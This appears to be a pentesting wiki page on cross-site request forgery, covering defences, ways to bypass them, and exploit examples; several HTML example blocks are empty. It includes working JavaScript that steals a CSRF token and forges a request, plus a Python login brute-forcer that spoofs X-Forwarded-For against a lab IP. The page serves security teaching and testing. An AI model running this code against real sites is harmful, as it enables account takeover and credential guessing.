# CSRF (Cross Site Request Forgery)
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## What is CSRF?
**Cross-site request forger**y (also known as CSRF) is a web security vulnerability that allows an attacker to **induce users to perform actions that they do not intend to perform**.\
This is done by **making a logged in user** in the victim platform access an attacker controlled website and from there **execute** malicious JS code, send forms or retrieve "images" to the **victims account**.
### Requisites
In order to be able to abuse a CSRF vulnerability you first need to **find a relevant action to abuse** (change password or email, make the victim follow you on a social network, give you more privileges...). The **session must rely only on cookies or HTTP Basic Authentication header**, any other header can't be used to handle the session. An finally, there **shouldn't be unpredictable parameters** on the request.
Several **counter-measures** could be in place to avoid this vulnerability.
### **Common defenses**
* [**SameSite cookies**](hacking-with-cookies/#samesite): If the session cookie is using this flag, you may not be able to send the cookie from arbitrary web sites.
* [**Cross-origin resource sharing**](cors-bypass.md): Depending on which kind of HTTP request you need to perform to abuse the relevant action, you may take int account the **CORS policy of the victim site**. _Note that the CORS policy won't affect if you just want to send a GET request or a POST request from a form and you don't need to read the response._
* Ask for the **password** user to authorise the action.
* Resolve a **captcha**
* Read the **Referrer** or **Origin** headers. If a regex is used it could be bypassed form example with:
* http://mal.net?orig=http://example.com (ends with the url)
* http://example.com.mal.net (starts with the url)
* **Modify** the **name** of the **parameters** of the Post or Get request
* Use a **CSRF token** in each session. This token has to be send inside the request to confirm the action. This token could be protected with CORS.
### CSRF map
![](<../.gitbook/assets/image (112).png>)
## Defences Bypass
### From POST to GET
Maybe the form you want to abuse is prepared to send a **POST request with a CSRF token but**, you should **check** if a **GET** is also **valid** and if when you send a GET request the **CSRF token is still being validated**.
### Lack of token
Some applications correctly **validate the token when it is present but skip the validation if the token is omitted**.\
In this situation, the attacker can **remove the entire parameter** containing the token (not just its value) to bypass the validation and deliver a CSRF attack.
### CSRF token is not tied to the user session
Some applications do **not validate that the token belongs to the same session** as the user who is making the request. Instead, the application **maintains a global pool of tokens** that it has issued and accepts any token that appears in this pool.\
In this situation, the attacker can log in to the application using their own account, **obtain a valid token**, and then **feed that token to the victim** user in their CSRF attack.
### Method bypass
If the request is using a "**weird**" **method**, check if the **method** **override functionality** is working.\
For example, if it's **using a PUT** method you can try to **use a POST** method and **send**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
This could also works sending the **\_method parameter inside the a POST request** or using the **headers**:
* _X-HTTP-Method_
* _X-HTTP-Method-Override_
* _X-Method-Override_
### Custom header token bypass
If the request is adding a **custom header** with a **token** to the request as **CSRF protection method**, then:
* Test the request without the **Customized Token and also header.**
* Test the request with exact **same length but different token**.
### CSRF token is verified by a cookie
In a further variation on the preceding vulnerability, some applications **duplicate each token within a cookie and a request parameter**. Or the **set a csrf cookie** and the **checks in the backend if the csrf token sent is the one related with the cookie**.
When the subsequent request is validated, the application simply verifies that the **token** submitted in the **request parameter matches** the value stored by the **cookie**.\
In this situation, the attacker can again perform a CSRF **attack if the web site contains any vulnerability what would allow him to set his CSRF cookie to the victim like a CRLF**.
In this case you can set the cookie trying to load a fake image and then launch the CSRF attack like in this example:
```html
```
{% hint style="info" %}
Note that if the **csrf token is related with the session cookie this attack won't work** because you will need to set the victim your session, and therefore you will be attacking yourself.
{% endhint %}
### Content-Type change
According to [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), in order to **avoid preflight** requests using **POST** method these are the allowed Content-Type values:
* **`application/x-www-form-urlencoded`**
* **`multipart/form-data`**
* **`text/plain`**
However, note that the **severs logic may vary** depending on the **Content-Type** used so you should try the values mentioned and others like **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
Example (from [here](https://brycec.me/posts/corctf\_2021\_challenges)) of sending JSON data as text/plain:
```html
```
### application/json preflight request bypass
As you already know, you cannot sent a POST request with the Content-Type **`application/json`** via HTML form, and if you try to do so via **`XMLHttpRequest`** a **preflight** request is sent first.\
However, you could try to send the JSON data using the content types \*\*`text/plain` and `application/x-www-form-urlencoded` \*\* just to check if the backend is using the data independently of the Content-Type.\
You can send a form using `Content-Type: text/plain` setting **`enctype="text/plain"`**
If the server is only accepting the content type "application/json", you can **send the content type "text/plain; application/json"** without triggering a preflight request.
You could also try to **bypass** this restriction by using a **SWF flash file**. More more information [**read this post**](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
### Referrer / Origin check bypass
**Avoid Referrer header**
Some applications validate the Referer header when it is present in requests but **skip the validation if the header is omitted**.
```markup
```
**Regexp bypasses**
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
{% endcontent-ref %}
To set the domain name of the server in the URL that the Referrer is going to send inside the parameters you can do:
```html
```
### **HEAD method bypass**
The first part of [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) is explained that [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), a router is set to **handle HEAD requests as GET requests** with no response body - a common workaround that isn't unique to Oak. Instead of a specific handler that deals with HEAD reqs, they're simply **given to the GET handler but the app just removes the response body**.
Therefore, if a GET request is being limited, you could just **send a HEAD request that will be processed as a GET request**.
## **Exploit Examples**
### **Exfiltrating CSRF Token**
If a **CSRF token** is being used as **defence** you could try to **exfiltrate it** abusing a [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) vulnerability or a [**Dangling Markup**](dangling-markup-html-scriptless-injection/) vulnerability.
### **GET using HTML tags**
```markup
404 - Page not found
The URL you are requesting is no longer available
```
Other HTML5 tags that can be used to automatically send a GET request are:
![](<../.gitbook/assets/image (530).png>)
### Form GET request
```markup
```
### Form POST request
```markup
```
### Form POST request through iframe
```markup
```
### **Ajax POST request**
```markup
```
### multipart/form-data POST request
```javascript
myFormData = new FormData();
var blob = new Blob([""], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
mode: "no-cors"
});
```
### multipart/form-data POST request v2
```javascript
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("POST", url, true);
// MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";
//xhr.send(body);
xhr.sendAsBinary(body);
```
### Form POST request from within an iframe
```markup
<--! expl.html -->
Sitio bajo mantenimiento. Disculpe las molestias
```
### **Steal CSRF Token and send a POST request**
```javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
xhr.withCredentials = true;
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}
xhr.send("token=" + token + "&otherparama=heyyyy");
}
function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
xhr.withCredentials = true;
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}
var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();
```
### **Steal CSRF Token and send a Post request using an iframe, a form and Ajax**
```markup
```
### **Steal CSRF Token and sen a POST request using an iframe and a form**
```markup
```
### **Steal token and send it using 2 iframes**
```markup
```
### **POSTSteal CSRF token with Ajax and send a post with a form**
```markup
```
### CSRF with Socket.IO
```markup
```
## CSRF Login Brute Force
The code can be used to Brut Force a login form using a CSRF token (It's also using the header X-Forwarded-For to try to bypass a possible IP blacklisting):
```python
import request
import re
import random
URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"
def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie
def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True
with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())
```
## Tools
* [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
* [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
## References
* [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf)
* [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
**HackenProof is home to all crypto bug bounties.**
**Get rewarded without delays**\
HackenProof bounties launch only when their customers deposit the reward budget. You'll get the reward after the bug is verified.
**Get experience in web3 pentesting**\
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**Become the web3 hacker legend**\
Gain reputation points with each verified bug and conquer the top of the weekly leaderboard.
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